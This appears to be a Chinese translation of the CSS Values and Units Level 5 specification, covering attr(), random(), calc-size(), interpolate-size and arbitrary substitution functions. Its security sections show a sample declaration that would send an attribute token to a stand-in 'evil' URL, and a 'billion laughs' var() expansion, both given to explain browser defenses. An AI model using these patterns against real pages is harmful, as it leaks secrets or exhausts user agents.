若属性中含有一个或多个 attr() 函数, 且这些函数语法上无误, 则整个属性在解析阶段一律视作语法合法。 只有在计算值阶段、attr() 替换后再做语法检查。
<stock> <wood length="12" /> <wood length="5" /> <metal length="19" /> <wood length="4" /> </stock> stock::before{ display : block; content : "To scale, the lengths of materials in stock are:" ; } stock > *{ display : block; width : attr ( length <number em>, 0 px ); height : 1 em ; border : solid thin; margin : 0.5 em ; } wood{ background : orangeurl ( wood.png ); } metal{ background : silverurl ( metal.png ); }
7.7.1. 属性值替换:attr() 表达式
attr() 属于一种任意替换函数, 类似 var(), 所以在计算值阶段会被(如有可能)替换为它所代表的值; 否则,将被替换为保证无效值, 这会导致其声明在计算值阶段无效。
-
令 el 为应用包含该 attr() 函数样式的元素。 令 attr name 为函数中指定的属性名。 令 syntax 为函数中指定的 <syntax>, 若省略则为 null。 令 fallback 为函数中指定的 <declaration-value>? 参数, 若省略则为保证无效值。
-
如果 el 不存在名为 attr name 的属性, 则返回保证无效值和 fallback。 否则,令 attr value 为该属性值。
-
如果 syntax 为 null, 返回 CSS <string>,其值为 attr value。
注: 此时对值不会做任何解析或修改。
-
按 <syntax> 解析 attr value,并传入 syntax 与 el。 返回结果和 fallback。
7.7.2. 安全性
attr() 函数 可以引用页面原本并不打算用于样式的属性, 这些属性有可能包含敏感信息 (例如页面脚本用的安全令牌)。
一般而言,这种用法问题不大。 在大多数情形下,想用 attr() 把信息从页面提取出来 并传给恶意方是很难的。 唯一的例外是 URL。 如果能纯用 CSS 把任意属性值构造为 URL, 一旦允许第三方 CSS, 就很容易把属性里的信息发送给恶意方。
为防范此类情况, attr() 产出的值会被视为 attr()-污染, 包含 attr()-污染值的函数同样被视为污染。已注册自定义属性所含 attr(),对应的 attr()-污染 值在 var() 替换过程中会被保留污染标志。
将attr()-污染值直接或间接用于 <url> ,会导致该声明计算值阶段无效。
-
background-image: src(attr(foo)); —— 不能直接用。
-
background-image: image(attr(foo)) —— 不能用于其它接受 <url> 的函数。
-
background-image: src(string("http://example.com/evil?token=" attr(foo))) —— 不能通过其它函数“洗白”污染。
-
--foo: attr(foo); background-image(src(var(--foo))) (假设 --foo 是注册为 string 语法的自定义属性) —— 不能通过属性传递规避污染。
但用于其它场景则没问题, 即便用法靠近 url:
-
background-image: image("foo.jpg", attr(bgcolor <color>)) 是合法的; 这里 attr() 作为回退色用, 且 <url> 并非 attr()-污染。
注: 实现此限制时, 需要对来自 attr() 的值全程追踪 dirty 标志, 因为此类值可经 注册自定义属性 完全变成纯字符串, 不能仅靠检查表达式来判定。 注意非字符串类型也会受到影响, 比如利用 string() 这种可把其它类型转为字符串的函数也能触发, 如 --foo: attr(foo number); background-image: src(string(var(--foo))) 同样应为无效。
8. 生成随机值
在设计中加入一定“随机性”常常非常实用, 比如避免页面上重复出现的元素千篇一律、死板呆滞, 或简单地为页面增添些许灵动但不产生干扰。
random() 和 random-item() 函数 (随机函数) 允许作者在页面中引入随机性, 同时又让这种随机在设计上保持可预测性, 作者可以决定随机值是跨多个位置复用还是每次实例唯一。
随机数生成的具体方式由 UA 决定。 应当两个不同的随机值之间没有明显相关性, 但本规范并不规定这种“无相关性”在密码学上的强度到底如何。 作者严禁将随机函数用于任何依赖高强度加密的场景。
8.1. 生成随机数值:random() 函数
random() 是一种 数学函数,它代表取自最小值与最大值之间、 服从均匀分布的一个随机值, 可选地指定间隔(step),令选值局限于区间等步长节点:
<random () > =random ( <random-caching-options>?, <calc-sum>, <calc-sum>, [ by <calc-sum>] ?) <random-caching-options> = <dashed-ident> || per-element
其参数如下:
- <random-caching-options>
-
可选的 <random-caching-options> 用于控制某 random() 是否和页面中其它 random() 得到相同或不同随机值。 详见§ 8.3 生成/缓存随机值:<random-caching-options>取值。
默认情况下,random() 会解析为单个值, 使用该样式的所有元素都共用一个值, 两个参数完全一样的 random() 会返回相同随机值。单独给 <dashed-ident> 并无实际作用, 但可让形参不同, 令多个原本参数一致的 random() 区分产生不同值。
per-element 关键字会让 random() 在每个应用该函数的元素上 各自生成独立随机值,而不是样式表中统一解析出一个。
- <calc-sum>, <calc-sum>
-
这两个必需的计算值参数用于指定函数可能返回的最小和最大值。 两端都包含在内(即结果可能等于 min 或 max)。
若最大值小于最小值, 则会视为最大值等于最小值。
- by <calc-sum>
-
可选项,指定步进: 函数可能解析出的值局限为
min +形式, 其中 N 是从所有在区间范围内解的非负整数里等概率选择的一个。( N * step) 例如 random(100px, 300px, by 50px) 可能为 100px、150px、200px、250px 或 300px; 不会出 120px。最小值总可能出现, 但最大值不一定, 如果最大值不是从最小值起步进整数倍。 例如 random(100px, 300px, by 30px) 最大奖励 280px(距最小值步进 6 次)。
注意舍入问题可能有影响: random(100px, 200px, by 100px / 3) 一定会是三种值 (100px、大约 133.33px、166.67px), 但 200px 能否出现则要看舍入精度。 稳妥起见,最大值可以略高于期望终点,比如 random(100px, 201px, by 100px / 3)。
按 round() 的定义, CSS 并无“天然精度”, 但 step 参数可指定精度。比如 random(100px, 500px, by 1px) 只会取整 px 值; random(1, 10, by 1) 只会取整数,等等。
注: 步进的定义不允许 先在范围内生成一随机值再对其舍入, 因为这会导致每个值出现概率不均。 例如 random(100px, 200px, by 50px) 必须三个可能(1/3)等概率; 用舍入法会让 150px 出现频率变双倍。
所有计算参数可为任意 <number>、<dimension> 或 <percentage>, 但必须同类型,否则函数无效; 返回结果类型和参数相同。
但 random(50px, 180deg) 是非法的, 因长度和角度不是同一类型。
注: 这意味着random() 通常在计算值阶段解析, 因此会以静态数值继承。 但如果参数计算 要到用值阶段才能解析 (如包含必须到布局时才能计算的<percentage>), 那么继承的就是 random() 本身。 (这和 <percentage> 本身的行为一致, 百分比会继承为百分比, 因此子元素可能解析为其他数值。)
理论上在非属性上下文也应该允许用 random(),
只要没用 per-element;
比如
语法和含义都是合理的。
但我们是不是还是不允许好?
8.1.1. 参数取值范围
在 random(A, B, by C) 中, 如果 A 或 B 是无穷大, 则结果为 NaN。 如果 C 是无穷大, 则结果为 A。
(如果 C 为零或负数, 结果是 A, 但这属于常规定义范围内的行为。)
注: 和其他 数学函数 一样, 若任何参数计算结果是 NaN, 最终结果也为 NaN。
8.2. 从列表中随机选取一项:random-item() 函数
random-item() 函数 会从参数列表中 随机选出一个项作为结果。
<random-item () > =random-item ( <random-caching-options>, [ <declaration-value>?] #)
必需的 <random-caching-options> 参数语义与 random() 完全一致。 (详细见 § 8.3 生成/缓存随机值:<random-caching-options> 取值。)
除此之外, random-item() 实例分组判等的唯一标准就是参数数量。
即 random-item(--x, red, blue, green) 和 random-item(--x, 1, 2, 3) 总会解析为索引相同的参数项: 不是 red 与 1,就是 blue 与 2,或 green 与 3。 这样各属性就能实现随机组间协同。
而 random-item(--x, red, blue, green) 和 random-item(--x, 1, 2, 3, 4) 则完全独立,12 种组合都有可能。
注: <random-caching-options> 参数在 random-item() 中必填, 但在 random() 为选填, 既是为了解析需求 (无法区分 random-item(--foo, --bar, --baz) 是三个 <declaration-value> 还是两个加一个 <random-caching-options>), 也避免随机项因为参数数量区分容易关联到同一实例。
剩下的参数为任意 CSS 值序列。 random-item() 随机均匀选出其中之一作为结果。
random-item() 函数属于 任意替换函数, 类似 var()。
-
只要 random-item() 本身(连同其他 任意替换函数)句法合法, 则属性声明在解析时一律视为合法。
-
random-item() 会在计算值阶段 按需替换成具体值(同 var()), 因此所有子元素继承相同解析后的值。
-
如果替换后的值让属性变得不合法, 则属性值会变成保证无效值。
需要定义 任意替换函数, 可能应放在 Variables, 因为类似能力的函数还会有不少。
既然 random-item() 类似 var(), 可能应规定只能用于属性值里。 (这一规范也许也适用于所有此类函数。) 虽然 random() 从本质上不同, 但出于一致性考虑可能也应有限制。
8.3. 随机值生成与缓存:<random-caching-options> 参数
在 JavaScript 等编程语言中,
代码有明确的时间顺序,
所以可以确定 Math.random()
之类是在什么时候执行的。
还可用变量保存结果,
明确表示随机值是多处共用还是各自独立。
而 CSS 是声明式语言 (代码并不按顺序“执行”, 也无法知道“执行”多少遍); 虽很容易让许多元素用同一个样式, 却很难让它们分配不同值 (导致 random() 的属性到底是同值还是异值很不清楚); 而“变量”的能力也极有限 (很难控制某个随机值多次重用)。
为了解决这些问题, random() 和 random-item() 明确规定了如下缓存语义:
-
样式表中每个 random() 或 random-item() 实例 都具有一个 随机缓存键。 若函数的 随机缓存键 相同, 就必须解析为完全一样的值; 若不同, 就必须是独立生成的新值。
(此处“独立”只是指独立的随机操作,结果本身可能偶尔碰巧相同。)
-
-
最小值参数的 用值。
-
最大值参数的 用值。
-
步进参数的 用值(若无则为 null)。
-
所用 <dashed-ident>(若无则为 null)。
-
若 per-element 出现在 <random-caching-options> 中, 则为函数所用具体元素或伪元素的唯一标识。
-
-
对于 random-item(), 其 随机缓存键 是如下 元组:
-
函数的参数个数。
-
所用 <dashed-ident>(若无则为 null)。
-
若 per-element 出现在 <random-caching-options> 中, 则为函数所用具体元素或伪元素的唯一标识。
-
“元素或伪元素的唯一标识” 的生命周期应与 JavaScript 对该元素的引用一致 (或与 关联元素+足够信息标识伪元素)。 分属不同文档的元素 (即使是同页多次刷新后的元素)应该获得不同唯一值。 (不是强制要求,以便可伪随机生成, 但应该足够独特,让开发者无法依赖跨文档同值。)
另外,随机生成方法应确保不同文档(包括同一页面刷新)下的操作也获得不同值。
.random-square{ width : random ( 100 px , 500 px ); height : random ( 100 px , 500 px ); }
两处函数的 随机缓存键
完全一致:。
这意味着两个值总完全相等,
故产生的元素必为正方形,
长宽都在 100px ~ 500px 范围内。
此外,所有 .random-square 元素都将有相同尺寸。
如果这样:
.random-rect{ width : random ( 100 px , 500 px ); height : random ( --x, 100 px , 500 px ); }
两者 随机缓存键 不同:
width 的为
,
而 height 为
。
结果两个属性会用不同的随机值, 因而元素一般不会正方形。 但所有 .random-rect 元素依然一致。
修改任一参数也会导致缓存键不同, 如下两个声明长宽值互不关联:
.random-rect-2{ width : random ( 100 px , 500 px ); height : random ( 100 px , 500 px , by50 px ); }
不过只要最终用值相同, 两个外表不同的函数结果仍可能一致。 例如:
.random-square-2{ font-size : 16 px ; width : random ( 160 px , 320 px ); height : random ( 10 em , 20 em ); }
这两个函数表面不同,
实际解析后 缓存键 一致,
都是 ,
因而长宽总相等。
比如:
.foo{ width : random ( 100 px , 500 px ); }
所有 .foo 元素宽度随机但一致。
而如果:
.foo{ width : random ( per-element, 100 px , 500 px ); }
每个 .foo 元素都是独一无二的宽度。
但注意该唯一性是针对“元素”,而不一定是“值”唯一。 例如:
.random-squares{ width : random ( per-element, 100 px , 500 px ); height : random ( per-element, 100 px , 500 px ); }
每个 .random-squares 元素得到一组全随机值,
但该元素的 width 和
height
必然相同,
所以仍然正方形。
因为两属性中
随机缓存键 均为 ,
两者会解析为元素上的同一数值。
这样自定义属性里的随机值结果更可控。 上述代码等价于:
.foo{ --size : random ( per-element, 100 px , 500 px ); width : var ( --size); height : var ( --size); }
9. 树结构计数函数:sibling-count() 和 sibling-index() 表达式
sibling-count() 函数式表示法 以 <integer> 形式 表示目标元素父节点下所有子元素的总数量。
sibling-index() 函数式表示法 以 <integer> 形式 表示目标元素在其父节点的所有子元素中的序号。 类似 :nth-child(),sibling-index() 序号从 1 开始。
注: counter() 函数能实现与 sibling-index() 类似的能力, 但返回值类型为 <string> 而非 <integer>。
注: 除了 选择器,CSS 其他部分(包括 sibling-count() 与 sibling-index())都以 平坦树(flat tree) 作为依据。
注: 这两个函数将来可能会扩展,支持加 of <selector> 参数, 类似 :nth-child(),用于筛选部分子元素。
10. 内部尺寸参与计算:calc-size() 函数
当在两个确定尺寸之间过渡, 或对现有的确定尺寸做微调时,calc() 用起来非常顺手: 100% 和 20px 的一半是 calc(50% + 10px),左/右有 15px 间距的 20% 是 calc(20% + 15px * 2), 诸如此类。
但如果你要调整或过渡的目标尺寸是内在尺寸,这些操作就无法实现, 无论是出于实际需要还是兼容性考虑。 calc-size() 函数 允许你用安全和明确的方式对内在尺寸做数学运算。
<calc-size () > =calc-size ( <calc-size-basis>, <calc-sum>) <calc-size-basis> =[ <intrinsic-size-keyword> | <calc-size () > | any | <calc-sum>]
<intrinsic-size-keyword> 产生式 匹配上下文允许的任意内在尺寸关键字。 例如在 width 属性中, 可匹配 auto、 min-content、stretch 等。
为什么 calc-size() 支持嵌套?
允许 calc-size() 作为 basis 参数, 让作者可以用变量赋值(如 calc-size(var(--foo), size + 20px)), 这样变量只要本来对该属性有效就永远有效。
若只用 calc() 就不行 — 例如 ,如果 --foo: calc-size(min-content, size + 20px), 或者 --foo: min-content, 那么 calc( (var(--foo)) + 20px ) 直接失败。
嵌套结构会在插值和用值时被简化, 因此插值及其它效果发生时,basis 最终都会落为简单值; 详见§ 10.1 calc-size() 的简化。
第一个参数是calc-size basis, 第二个是calc-size calculation。 对于任一个参数, 如果给的是 <calc-sum>, 它的 类型 必须与 match <length-percentage>, 并且结果必须能解为 <length>。
在 calc-size calculation 内, 若 calc-size basis 不是 any, 则允许使用 size 关键字。 此关键字为 <length>, 在 用值阶段求值。
calc-size() 表示一个内在尺寸。 它明确不是 <length>; 需要接受 calc-size() 的地方,语法须显式包含它。
为何不直接让 calc() 支持内在关键字?
理论上,本可不引入 calc-size(),而让 calc(auto * .5) 合法,从而可直接插值。
这会有不明显的小麻烦,即混用关键字依然不被允许,但表面上却很合理 (如 calc((min-content + max-content)/2) 看起来没问题,实际上是不合法的)。
更大的问题是,无法平滑过渡百分比。 calc(50%) 只有在百分比为确定时, 才是 calc(100%) 的一半; 否则,两者实际上通常同一个大小(要看上下文,也许是 0px 也许还是 auto 计算结果)。
用一个独立函数把基础值和计算表达彻底分开, 就能让所有情况平滑插值。
还有很多效果, 有些很细微,有些很大, 都依赖于元素是否是内在尺寸或确定尺寸。 如果用 calc(), 那“元素是否内在尺寸”在动画中途等情况下会变, 例如 calc(min-content * .2 + 20px * .8)) 是, 但 calc(20px) 就不是, 动画到头时布局会发生突变。
(这类似于 opacity:1 到 opacity: 0 的动画引起 stacking context 变化。 opacity 可用 .999 近似回退, 但 no one 愿意把 auto 动画到 calc(auto * .0001) 只为保证其内在属性不丢。)
再次强调,专用函数如 calc-size(auto, 20px) 能全程保持内在尺寸身份, 所以布局行为整个动画过程都平稳一致,即便实际值变成了确定长度。
10.1. calc-size() 的简化
与数学函数类似, 在 指定值 和 计算值 阶段, calc-size calculation (以及 basis 若为 <calc-sum> 时) 都会简化到最大程度, 规则见 CSS Values 4 § 10.10.1 Simplification。
- 若基础本身是另一个 calc-size()
-
外层函数的基础改为内层函数的基础, 内层函数的 calc-size calculation 插入到外层 calculation。
- 否则,若 基础 是 <calc-sum> 且其 type match <length>(无百分比)
-
用 any 替代基础, 初始基础 插入到 calculation 中。
- 否则,若 基础 是包含百分比的其它 <calc-sum>
(如有必要,上述规则可递归应用。)
若任何 插入计算 返回失败,则整个操作立即失败。
注: 经规范化后, calc-size() 的 基础 只会是关键字或 100%。
为什么百分比简化成这样?
这样百分比简化,能确保过渡是线性的。
比如假定 100% 就是 100px。
若从 `calc-size(100px, size * 2)`(结果为 200px) 过渡到 `calc-size(50%, size - 20px)` (结果为 30px), 若两参数都做插值, 半程时会是 `calc-size(75px, size * 2 * .5 + (size - 20px) * .5)` (解得 102.5px), 这并不是 30 和 200 的一半(应为 115px)。 各参数按顺序插值甚至插值后再算一般会形成二次曲线效果。
相反,若把 basis 参数替换到 calculation, 你会得到 `calc-size(percentage, 100px * 2)` 和 `calc-size(percentage, (size * .5) - 20px)`, 插值得到半程时为 `calc-size(percentage, 100px * 2 * .5 + ((size * .5) - 20px) * .5)`, 这正好是 115px,其它点也是线性的。
-
将 calc 中每个<percentage-token>, 替换为 (size * N),其中 N 为百分数值/100。 返回 calc。
注: 如 50% + 20px 简化成 (size * .5) + 20px。
-
如果 calc 没含有 size 关键字,则什么都不做。
-
否则,将 calc 中所有 size 替换为 insertion value,加括号。
-
如替换后值大于 UA 定义上限,返回失败。
注: 这一保护措施与变量替换的攻击防护相同; 参见 CSS Variables 1 § 3.3。 不过,长 calc-size() 实用性远低于自定义属性,UA 可设得更低。
10.2. calc-size() 的解析
calc-size() 在所有方面都被视为其 calc-size basis(其中 any 表示未指定的确定尺寸)。
但实际布局时, basis 的值会以 calc-size calculation 得到的新值替代, 其中 size 关键字 代表 basis 的原始尺寸。
(如果 calc-size basis 为 any, calc-size() 是个确定长度, 就等于其 calc-size calculation。
求 calc-size calculation 值时, 若上下文中百分比值不是确定的, 则解析为 0px, 否则正常解析。
(若 basis 里有百分比,处理方式不同;简化会把百分比搬入 calculation 并换成 size, 此时 basis 就变成 100%,等同于该上下文里正常含义,如有可能让属性当成 auto 等等。)
而 calculation 里的百分比则如不能确定直接为 0, 以免 calc-size() 期间行为前后突变; 某些情况下 min-content 和 100% 会导致布局不同, 所以 calc-size() 必须全程像一个或另一个失败。
10.3. calc-size() 的插值
两个 calc-size() 之间可以插值, 条件是(两者都规范化插值后):
结果的calc-size calculation 为两输入 calculation 的插值。
注: 这些插值限制确保 calc-size() 不会出现同一时刻包含不同内在属性的行为。 例如 min-content 与 max-content 在某些情况下布局会有重大差异, calc-size() 必须全程像其中之一伪装。 也正因如此,关键字间不能直接动画, 不能如 auto 到 min-content 动画。
某些 calc-size() 还可与 <length-percentage> 或 <intrinsic-size-keyword> 插值。 判断能否及如何插值时, 可把非 calc-size() 值视作: calc-size(any, value )(若 value 是 <calc-sum>); 或 calc-size(value , size)(否则), 然后按前述规则处理。
details{ transition : height1 s ; } details::details-content{ display : block; } details[ open] ::details-content{ height : auto; } details:not ([ open]) ::details-content{ height : calc-size ( any, 0 px ); }
会自动插值
介于 calc-size(auto, size) 与 calc-size(any, 0px) 之间。
打开 details
半秒后,
::details-content 的 height
就是 calc-size(auto, size * .5),
正好为打开后的 1/2;
动画全程高度平滑变化。
注: calc-size() 设计用以确保 向 calc-size(any, 确定 尺寸) 过渡总是能顺利工作, 不论另一端指定法为何。
注: “升级普通值为 calc-size()” 的机制, 会把 <length-percentage> 值放入 calculation。 这样带百分比的值可和内在尺寸关键字互动画, 但意味着百分比不是确定时会解成零。 想要百分比行为严格等同于具体尺寸, 应显式写成 calc-size(50%, size)。
10.4. 尺寸关键字的插值:interpolate-size 属性
注: 如果我们能时光倒流,这个属性大可不必存在。 它之所以存在,是因为很多已有的样式表假设 内在尺寸关键字 (例如 auto、min-content 等) 不可动画。 所以该属性存在是为了让样式表可以选用 预期的插值行为。 在根元素上指定 interpolate-size: allow-keywords 就会为整页采用新行为。 如果不涉及兼容性问题,我们建议都用这个。
| 名称: | interpolate-size |
|---|---|
| 取值: | numeric-only | allow-keywords |
| 初始值: | numeric-only |
| 适用于: | 所有元素 |
| 是否继承: | 是 |
| 百分比: | 不适用 |
| 计算值: | 与指定值相同 |
| 规范顺序: | 按语法 |
| 动画类型: | 不可动画 |
- numeric-only
- <intrinsic-size-keyword> 无法参与插值。
- allow-keywords
- 只要其中一个是 <intrinsic-size-keyword>,另一个是 <length-percentage>,就可以插值。 此时会将 <intrinsic-size-keyword> keyword 视作 calc-size(keyword, size),并按 § 10.3 calc-size 插值中的规则处理。 其他情况则依然不支持 <intrinsic-size-keyword> 插值。
interpolate-size 生效的 是动画可能开始时元素的计算值。 对于 CSS 过渡而言, 即 after-change style 状态下的值。 动画过程中不会因为 interpolate-size 变化而停止或启动。
附录 A:任意替换函数
任意替换函数是一种函数式表示法,在被解析时, 会用其它值替换自身, 而这些值在解析时可能无法预知——因此解析这些函数时需等到计算值阶段。
注: 由于任意替换函数 在计算值 阶段解析, 如果替换后值无效, 该属性会等效地回退到 unset 行为, 而不是像解析阶段无效时那样回退到早前的层叠值。 见 无效替换。
除非另有说明,任意替换函数可以用在任何属性值的任意部分 (包括可嵌套其它函数式表示法 内); 但在其它上下文中无效。
.foo{ --side : margin-top; var ( --side) :20 px ; }
这不是把 margin-top: 20px; 写进样式的等价方式。 此声明名不合法会被直接丢弃。
若属性值包含一个或多个 任意替换函数, 且这些函数本身语法无误, 则整个值的语法在解析阶段都视为合法。
任意替换函数 会在样式 计算过程中 被替换, 这发生在所有值转换或反查之前。 如果属性经过 替换 后不满足语法, 则该声明 在计算值阶段无效。
如果属性值 在 替换后, 只剩一个 CSS 全局关键字(以及空白/注释), 那么属性行为就如该关键字一直是其 指定值。
:root{ --looks-valid : 20 px ; } p{ background-color : var ( --looks-valid); }
因为 20px 是 background-color 的无效值, 属性会 计算值阶段无效, 变为 transparent(background-color 的初始值)。
若该属性默认可继承, 比如 color, 则本例会取继承值而不是初始值。
p{ color : var ( --does-not-exist, initial); }
如 --does-not-exist 属性不存在或 计算值阶段无效, var() 就会用回退 initial, 使属性表现如原本就是 color: initial。 这让属性取文档初始 color, 而不是像没写回退时那样继承。
每个 任意替换函数都必须定义如何为自己解析, 返回可选的 result 和 fallback。 只要 result 没包含 保证无效值, 就用 result 替换函数; 否则用 fallback。(fallback 不需额外解析;如果用到,替换操作会完成这一步。)
注: 可参考如 resolve a var() function。
.foo{ --gap : 20 ; margin-top : var ( --gap) px; }
这不是 margin-top: 20px; 这样的长度。 实际等同于 margin-top: 20 px; (数字+标识符), 对 margin-top 属性是无效值。 不过 calc() 则能有效拼接:
.foo{ --gap : 20 ; margin-top : calc ( var ( --gap) *1 px ); }
这也意味着替换后的值不能直接序列化输出。 比如类似例子:
.foo{ --gap : 20 ; --not-px-length : var ( --gap) px; }
替换后 --not-px-length 的序列化不是 20px, 否则被重新解析就是合成的单个标量(px 维度); 实际序列化会加注释分割 token, 如 px, 以保证重解析时还是两个。
无效替换
当 替换导致属性值 含有 保证无效值 时, 该声明即被视为计算值阶段无效。 这时, 该属性的计算值如下:
:root{ --not-a-color : 20 px ; } p{ background-color : red; } p{ background-color : var ( --not-a-color); }
<p> 元素将显示透明背景 (background-color 的初始值), 而不是红色背景。 如果 自定义属性本身未定义, 或内容中有无效 var() 函数,也一样。
注意这跟直接写 background-color: 20px 不同——后者是通常的语法错误并导致该规则被抛弃, 仍会用上 background-color: red 规则。
注: 计算值阶段无效 的概念,是因为任意替换函数 不能像语法错误那样提前失败, UA 发现值无效时, 旧层叠值早已丢失。
简写属性中的替换
任意替换函数会为 简写属性和长属性的解析及序列化带来复杂性。
如果某 简写属性 值含有 任意替换函数, 那么对应的 长属性 必须设置为特殊的、作者不可见的 待替换值, 表示该简写包含 任意替换函数, 因此需等 替换 后才能确定长属性。
该值后续参与层叠, 计算值阶段,在 替换后, 简写需重新解析, 各长属性再获得准确值。
注: 未用任意替换函数的简写,解析时会拆分成 长属性 并各自参与层叠,原简写则被遗弃。 含 var() 时, 因为 var() 的替换结果不确定,不能这样直接拆分。
待替换值如被 API 观察,应序列化为空字符串。
简写属性序列化时 要汇总其各 长属性, 合成能正确解析出原值的串。
如果某简写的所有 长属性 都来自同一 待替换值(仍保留原简写里的 任意替换函数), 则 简写属性 序列化就恢复原文本。
否则,若任一 长属性 仍为 待替换值 或含未被 替换 的 任意替换函数, 简写属性序列化为空字符串。
安全处理过长的替换值
如果实现不够严谨, 某些任意替换函数(例如 var()) 可以用于类似“亿笑攻击(billion laughs attack)”的利用:
.foo {
--prop1 : lol;
--prop2 : var ( --prop1) var ( --prop1);
--prop3 : var ( --prop2) var ( --prop2);
--prop4 : var ( --prop3) var ( --prop3);
/* etc */
}
在这个短例子中,--prop4 的计算值是 lol lol lol lol lol lol lol lol, 包含了原始 lol 的 8 个副本。 每多加一级都会使标识符数量加倍; 如果扩展到仅仅 30 层, --prop30 里面就会包含近十亿个这个标识符,几分钟手工也能实现。
为防止此类攻击, UA 必须对任意替换函数展开后的 token 流长度加以 UA 自定的限制。 若某 任意替换函数 展开后超出此限制,则直接替换为保证无效值。
本规范未规定应施加多大的限制。 但由于确有自定义属性需要存储 1KB 甚至更多内容的情形, 建议限制值设置得足够大。
注: UA 因资源受限可以违反规范的这一原则,这里同样适用; 比如 UA 可以另外规定自定义属性值最大长度,或者标识符最大长度。 本节单独点出这种攻击,是因为它历史悠久, 以及它在初看时每个片段都不会很大却可组合成攻击。
附录 B:布尔逻辑
为便于 CSS 未来扩展,<boolean-expr[]> 产生式 通常将其 <general-enclosed> 分支按未知处理, 并使用三值 Kleene 逻辑解析其布尔结果。 某些情况下(像 @supports),<general-enclosed> 会被定义为 false; 这时逻辑就退化成标准布尔代数。
三值布尔逻辑递归应用于一个布尔条件 test 时如下:
-
叶子级别的 test 解析为 true、false 或 unknown, 具体由相关规范定义。
-
not test 若其参数为 false 则为 true, 若为 true 则为 false, 若为 unknown 则还是 unknown。
-
多个 test 之间用 and 连接,只有全部为 true 才为 true, 有任一为 false 就为 false, 其余情况(至少有一个未知但都非 false)为 unknown。
-
多个 test 用 or 连接,有任一为 true 则整体为 true, 全为 false 才为 false, 其余情况(至少有 unknown 但都非 true)为 unknown。
若顶层 <boolean-expr[]> 得到 unknown, 且包容场景没明确规定 unknown 如何处理, 则结果为 false。
注: unknown 不会“溢出”到 3 值逻辑表达式外部,除非有明确定义,
类似 NaN 不会“溢出”到顶层计算那样。
鸣谢
首先,编辑们要感谢所有为本模块前一版本做出贡献的人。
其次,我们还要感谢 Guillaume Lebas、 L. David Baron、 Mike Bremford、 Sebastian Zartner, 以及特别感谢 Scott Kellum,感谢他们对 Level 5 提出的想法、批评和建议;
变更记录
自 2024 年 9 月 17 日工作草案 以来的变化:
-
“逗号升级”行为由分号允许改为用大括号做“括号包裹”。 (Issue 9539)
-
新增 if()。 (Issue 10064, Issue 5009)
-
新增 inherit()。 (Issue 2864)
-
重设计 attr()。 (Issue 10437, Issue 5092, Issue 5136)
-
*progress() 相关函数参数分隔修改为逗号,和 *mix() 及 clamp() 保持一致。 (Issue 10489)
-
定义了 <boolean-expr[]> 新量词,用于语法定义. (Issue 10457)
-
从 [CSS-VARIABLES-1] 引入 任意替换函数 定义。 (Issue 10679)
-
从 [css-properties-values-api-1] 引入 <syntax> 产生式(供 attr() 用)。
-
修正了 media-progress() 和 container-progress() 的语法错误。
自 2024 年 9 月 13 日首个公开工作草案 起的变化:
-
纳入 <position> 的定义, 支持 流向相关的位置。 (Issue 549)
Level 4 以来的新增内容
自 CSS Values and Units Level 4 起增加:
-
为函数参数添加了“逗号包裹”{} 语法。
-
为 <url-modifier> 定义了若干新修饰符,用于 <url> 函数。
-
<position> 扩展以支持 流向相关 位置。 (Issue 549)
-
添加了 *-progress() 一类函数,用于表示两个值间的插值进度。
-
添加了 *-mix() 一类函数,用于实际进行插值。
-
新增 first-valid(),使 CSS 的向前兼容解析(忽略无效、用剩下的)也可用于自定义属性和其它只有解析后才能确定合法性的场景。
-
新增 if(),用于内联条件分支。
-
新增 inherit()。
-
添加 random() 及 random-item() 函数。
-
新增 sibling-count() 与 sibling-index() 函数。
-
引入 calc-size() 函数及相关 interpolate-size 属性。
-
引入 <boolean-expr[]> 语法到值定义语法。
安全性说明
本规范允许 CSS <url> 值修改请求的多项参数。
虽 CSS 是新加这些能力,
但 img
及 link
元素和 JavaScript 早就支持了全部这些能力。
attr() 函数允许 HTML 属性值参与 CSS 计算, 可能暴露原本无法通过 CSS 访问的敏感信息。 见§ 7.7.2 安全性。
隐私性说明
本规范中定义的单位暴露了用户屏幕尺寸和默认字体大小, 但这些早可被 JS 轻松观测,因此不构成新隐私风险。 类似地,media-progress() 表达式也会 暴露用户环境和偏好, 但这些已可通过 媒体查询 获知。
attr() 函数允许 HTML 属性值参与 CSS, 可能暴露原本无法通过 CSS 访问的敏感信息。 见§ 7.7.2 安全性。